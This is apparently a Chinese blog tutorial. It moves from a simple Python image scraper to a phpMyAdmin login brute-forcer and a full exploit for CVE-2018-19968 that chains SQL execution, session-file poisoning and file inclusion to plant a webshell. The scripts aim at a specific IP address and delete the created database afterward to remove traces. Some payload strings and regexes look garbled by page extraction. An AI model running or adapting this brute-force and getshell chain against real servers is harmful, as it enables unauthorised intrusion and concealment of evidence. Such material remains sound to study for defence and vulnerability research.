爬虫 web登录 CVE-2018-19968

安全脚本开发

目标

以CVE-2018-19968为例,写exp,一键getshell

所需工具: python / burp,可选 pycharm / ipython

1. 简单爬虫

  • python requests库
  • 指定汉字的笔划动图下载

2. web登录

3. CVE-2018-19968 手动利用

  • phpMyAdmin文件包含

4. 编写exp

  • 登录
  • 执行SQL
  • 文件包含写入webshell

目录

  • 一、简单爬虫
  • 二、Web登录
  • 三、CVE-2018-19968
  • 四、编写exp

一、简单爬虫

观察待爬网页命名规则发现用的是汉字的unicode编码

https://www.hanzi5.com/bishun/9f9f.html
/u9f9f unicode解码得到 ==》 '龟'

汉字转unicode编码

a = '龟'

In [16]: a.encode('unicode-escape')[-4:].decode('ascii')
Out[16]: '9f9f'

然后构造url,用requests.get()爬取网页,再用re切割,获得该汉字的笔画gif链接

r = requests.get(urls)
gifurl = 'https://www.hanzi5.com' + re.findall('
, r.text)[0] + '.gif'

然后就是保存图片了,这里查了一下.text.content的区别,毕竟输出都看起来一样

resp.text返回的是Unicode型的数据。

resp.content返回的是bytes型也就是二进制的数据。

注意:图片啥的一定要用二进制wb

下面是完整的代码:

import requests
import re

def main(search_zh):
    search = search_zh.encode('unicode-escape')[-4:].decode('ascii')
    urls = 'https://www.hanzi5.com/bishun/{}.html'.format(search)
    # 爬取gif地址
    r = requests.get(urls)
    gifurl = 'https://www.hanzi5.com' + re.findall('
, r.text)[0] + '.gif' # 保存图片 gif = requests.get(gifurl) with open('./'+search_zh+'.gif', 'wb') as f: f.write(gif.content) if __name__ == "__main__": while(input('查询请回车,退出输入0:') != '0'): search_zh = input('输入查询汉字:') main(search_zh) print("已成功保存,请查收!") print('====================\n********************\n====================')

爬虫 web登录 CVE-2018-19968_第1张图片
爬虫 web登录 CVE-2018-19968_第2张图片

二、Web登录

爬虫 web登录 CVE-2018-19968_第3张图片

抓包发现post的格式为

pma_username=123&pma_password=123&server=1&target=index.php&token=894163ce093426af0da104f697a34d18

发现几个关键点,pma_username,pma_password,token用户名密码直接爆破,token我在前端html内发现了,应该是每次get这个页面服务器给客户端分发的验证码,所以不能用抓包得到的token,直接正则切割页面的值

re.findall(', r.text)[0]

‘fb8082e4121605873a26cb45c208e27a’

主要是保持session通信,在session上进行get和post操作,此处被坑

# 获取session(),保持连接
f = requests.Session()
# 获取页面上的token和title
r = f.get(url, headers=header)
token = re.findall(', r.text)[0]
data = {
    'pma_username' : 'root',
    'pma_password' : password,
    'server' : '1',
    'target' : 'index.php',
    'token' : token
}
# post方式提交账号密码,再次截取title判断是否登录成功
r = f.post(url, data=data, headers=header)

这里判断是否登陆成功采用</code>标签的判断</p> <pre><code>old_title = re.findall('<title>(.*?)', r.text)[0] new_title = re.findall('(.*?)', r.text)[0]

密码选择用字典对root用户进行爆破

import requests
import re

def post_url(password):
    url = 'http://94.191.112.225/phpmyadmin/'
    header = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0'
    }
    # 获取session(),保持连接
    f = requests.Session()
    # 获取页面上的token和title
    r = f.get(url, headers=header)
    old_title = re.findall('(.*?)', r.text)[0]
    token = re.findall(', r.text)[0]
    data = {
        'pma_username' : 'root',
        'pma_password' : password,
        'server' : '1',
        'target' : 'index.php',
        'token' : token
    }
    # post方式提交账号密码,再次截取title判断是否登录成功
    r = f.post(url, data=data, headers=header)
    new_title = re.findall('(.*?)', r.text)[0]
    # 输出
    if r.status_code == 200 and old_title != new_title:
        print("登录成功!密码是" + password)
        return 1
    else:
        print("登录失败!")

if __name__ == "__main__":
    f = open('./dic2.txt', "r")
    while 1:
        line = f.readline().strip()
        if post_url(line): break
    f.close()

三、CVE-2018-19968

CVE-2018-19968是一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本。

Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。

通常情况下Transformation的规则存储在每个数据库的pma__column_info表中,而在phpMyAdmin 4.8.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。

漏洞原理:

文件:tbl_replace.php

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
   include_once $filename;
   $classname = Transformations::getClassName($filename);
   /** @var IOTransformationsPlugin $transformation_plugin */
   $transformation_plugin = new $classname();
   $transformation_options = Transformations::getOptions(
      $mime_map[$column_name]['input_transformation_options']
   );
   $current_value = $transformation_plugin->applyTransformation(
      $current_value, $transformation_options
   );
   // check if transformation was successful or not
   // and accordingly set error messages & insert_fail
   if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
      $insert_fail = true;
      $row_skipped = true;
      $insert_errors[] = sprintf(
         __('Row: %1$s, Column: %2$s, Error: %3$s'),
         $rownumber, $column_name,
         $transformation_plugin->getError()
      );
   }
}
}

拼接到$filename的变量$mime_map[$column_name]['input_transformation']来自于数据表pma__column_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞 (漏洞资料取自这里)

手工复现:

  • 创建数据库,并将PHP代码写入SESSION文件中
CREATE DATABASE bobomilktea;
CREATE TABLE bobomilktea.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO bobomilktea.bar SELECT '';

INSERT INTO xx SELECT ''表示将后面的php代码插入表中,指输出关于PHP配置的信息

chk_rel.php文件里的代码内容很少,其中有些似乎和修复PMA表有关

  • 访问http://94.191.112.225/phpmyadmin/chk_rel.php?fixall_pmadb=1&db=bobomilktea在数据库bobomilktea中生成phpMyAdmin的配置表。

  • 然后执行sql语句,将cookie替换{yourSessionId}

INSERT INTO `pma__column_info` SELECT '1', 'bobomilktea', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../../../../../../../tmp/sess_{yourSessionId}','plop';
  • 访问以下payload,如果利用成功将会返回phpinfo()
http://94.191.112.225/phpmyadmin/tbl_replace.php?db=bobomilktea&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

四、编写exp

将sql执行语句插入webshell

CREATE DATABASE bobomilktea;
CREATE TABLE bobomilktea.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO bobomilktea.bar SELECT '';

其中文件包含可以使用下面语句创建文件写入小马


全代码在下面

import requests
import re

def post_url(password):
    url = 'http://94.191.112.225/phpmyadmin/'
    header = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0'
    }
    # 获取session(),保持连接
    f = requests.Session()
    # 获取页面上的token和title
    r = f.get(url, headers=header)
    old_title = re.findall('(.*?)', r.text)[0]
    token = re.findall(', r.text)[0]
    data = {
        'pma_username' : 'root',
        'pma_password' : password,
        'server' : '1',
        'target' : 'index.php',
        'token' : token
    }
    # post方式提交账号密码,再次截取title判断是否登录成功
    r = f.post(url, data=data, headers=header)
    new_title = re.findall('(.*?)', r.text)[0]
    # 输出
    if r.status_code == 200 and old_title != new_title:
        print("登录成功!")
        return f
    else:
        print("登录失败!")

def datab(f, sql):
    url1 = 'http://94.191.112.225/phpmyadmin/'
    url = 'http://94.191.112.225/phpmyadmin/import.php'
    header = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
    }
    r = f.get(url1, headers=header)
    token = re.findall(', r.text)[0]
    data = {
        'token' : token,
        'sql_query' : sql,
    }
    r = f.post(url, data=data, headers=header)

def run(dataname, tablename, culname):
    # 获取登录好的session,之前爆出的密码为root
    f = post_url('root')
    # 创建数据库,表的sql语句
    sql1 = '''CREATE DATABASE {0};CREATE TABLE {0}.{1} ( {2} VARCHAR(100) PRIMARY KEY );INSERT INTO {0}.{1} SELECT '';'''.format(dataname, tablename, culname)
    # 执行第一句sql语句
    datab(f, sql1)
    # 在数据库生成phpMyAdmin配置表
    r = f.get('http://94.191.112.225/phpmyadmin/chk_rel.php?fixall_pmadb=1&db={}'.format(dataname))
    # 获取cookie
    cookie = r.cookies['phpMyAdmin']
    print(cookie)
    sql2 = '''USE {0}; INSERT INTO `pma__column_info`SELECT '1', '{0}', '{1}', '{2}', 'plop','plop', 'plop', 'plop','../../../../../../../../tmp/sess_{3}','plop';'''.format(dataname, tablename, culname, cookie)
    # 执行第二个sql语句
    datab(f, sql2)
    r = f.get('http://94.191.112.225/phpmyadmin/tbl_replace.php?db={0}&table={1}&where_clause=1=1&fields_name[multi_edit][][]={2}&clause_is_unique=1'.format(dataname, tablename, culname))
    # print(re.findall('
(.*?) # 也不知道为什么,虽然状态码是500,但是木马写进去了 print(r.status_code) # 删除新建库的痕迹 sql_drop = 'DROP DATABASE {}'.format(dataname) datab(f, sql_drop) print('执行完毕') if __name__ == "__main__": run('bobomilktea', 'bar', 'baz')

你可能感兴趣的:(杂,python,mysql,web)